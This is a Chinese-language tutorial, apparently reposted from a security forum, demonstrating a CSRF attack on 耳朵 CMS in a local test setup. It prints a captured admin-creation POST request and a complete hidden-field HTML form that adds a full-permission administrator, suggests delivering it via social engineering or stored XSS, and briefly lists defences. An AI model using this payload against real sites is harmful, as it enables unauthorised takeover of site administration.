初入Csrf Post提交添加管理员

Posted Sn00py

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了初入Csrf Post提交添加管理员相关的知识,希望对你有一定的参考价值。

00x01
作者:墨

首发:I春秋
[-]CSRF是个什么鬼?

|___简单的理解:
    |----攻击者盗用了你的身份,以你的名义进行某些非法操作。CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的财产。
  |___CSRF攻击原理:
     |----当我们打开或者登陆某个网站的时候,浏览器与网站所存放的服务器将会产生一个会话(cookies),在这个会话没有结束时,你就可以利 用你的权限对网站进      行操作。然而,攻击者就是利用这个特性,让受害者触发我们构造的表单或者语句,然后达到攻击者想要达到的目的。
具体看文章:Csrf初步了解
00x02
[+]如何构造表单?
  |___GET方法的表单很简单,直接在url构造触发。
    |----略。
  |___POST表单构造(主要演示这个).
    |----工具用Burpsuite
实战开始:
  |----目标站:http://127.0.0.1/
  |----抓取创建管理时Post包
  |----开启burpsuite抓包。
00x03
  |----这里我拿耳朵cms来进行测试
        |----我们先来看一下触发点
这里就是触发点,我们添加的时候抓取他的post包
  1. POST /upload2/admin.php?iframe=admin&action=saveadd HTTP/1.1
  2. Host: 127.0.0.1
  3. Content-Length: 309
  4. Cache-Control: max-age=0
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  6. Origin: http://127.0.0.1
  7. Upgrade-Insecure-Requests: 1
  8. User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.108 Safari/537.36 2345Explorer/7.2.0.13379
  9. Content-Type: application/x-www-form-urlencoded
  10. Referer: http://127.0.0.1/upload2/admin.php?iframe=admin&action=add
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.8
  13. Cookie: in_adminid=1; in_adminname=admin; in_adminpassword=c3284d0f94606de1fd2af172aba15bf3; in_permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9; in_adminexpire=have; bdshare_firstime=1472114910255; PHPSESSID=r95qfra16nqp97n4ijl4f5hai5; DedeUserID=1; DedeUserID__ckMd5=db571499870b8384; DedeLoginTime=1472387898; DedeLoginTime__ckMd5=8cac10bbfe850f69
  14. Connection: close

  15. in_adminname=ichunqiu&in_adminpassword=ichunqiu&in_adminpassword1=ichunqiu&in_permission%5B%5D=1&in_permission%5B%5D=2&in_permission%5B%5D=3&in_permission%5B%5D=4&in_permission%5B%5D=5&in_permission%5B%5D=6&in_permission%5B%5D=7&in_permission%5B%5D=8&in_permission%5B%5D=9&in_islock=0&admin=%E6%8F%90%E4%BA%A4
复制代码
可以看见
in_adminname|----ichunqiu----用户名
in_adminpassword|----ichunqiu----密码
in_adminpassword1|----ichunqiu----确认密码
  1. in_permission%5B%5D=1&in_permission%5B%5D=2&in_permission%5B%5D=3&in_permission%5B%5D=4&in_permission%5B%5D=5&in_permission%5B%5D=6&in_permission%5B%5D=7&in_permission%5B%5D=8&in_permission%5B%5D=9&in_islock=0
复制代码
这里便是为权限
OK,那么我们来创建一个form表单
  1. <html>
  2.   <body>
  3.     <form action="http://127.0.0.1/upload2/admin.php?iframe=admin&action=saveadd" method="POST">
  4.       <input type="hidden" name="in&#95;adminname" value="ichunqiu1" />
  5.       <input type="hidden" name="in&#95;adminpassword" value="ichunqiu1" />
  6.       <input type="hidden" name="in&#95;adminpassword1" value="ichunqiu1" />
  7.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="1" />
  8.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="2" />
  9.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="3" />
  10.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="4" />
  11.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="5" />
  12.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="6" />
  13.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="7" />
  14.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="8" />
  15.       <input type="hidden" name="in&#95;permission&#91;&#93;" value="9" />
  16.       <input type="hidden" name="in&#95;islock" value="0" />
  17.       <input type="hidden" name="admin" value="提交" />
  18.       <input type="submit" value="Submit request" />
  19.     </form>
  20.   </body>
  21. </html>
复制代码
in_adminname|----ichunqiu1----用户名
in_adminpassword|----ichunqiu1----密码
in_adminpassword1|----ichunqiu1----确认密码
permission|----1~9----权限(有9个权限选择所以写9个permission表单)
我们开始触发
触发成功,并且可以得到小处越权

尝试登陆

成功登陆,由此可见,Csrf只要利用的好还是有很大危害的
如何搭配:

  |___通过社会工程学诱惑触发表单
    |----从而进行添加管理员
  |___通过存储xss迫使管理员触发表单
    |----从而进行添加管理员


如何防护:

  |___利用referer、token或者验证码
             |----从而进行一个防护
  |___做成一个类似HTTP Watch的软件
    |----挂在浏览器上拦截或者过滤跨域的cookie进行防御

以上是关于初入Csrf Post提交添加管理员的主要内容,如果未能解决你的问题,请参考以下文章

django 页面进行ajax post提交时,页面要添加{% csrf_token %}

django 页面进行ajax post提交时,页面要添加{% csrf_token %}

django1.11如何用post方法提交表单

js 提交表单添加csrf

第二百七十一节,Tornado框架-CSRF防止跨站post请求伪造

CSRF攻击/防御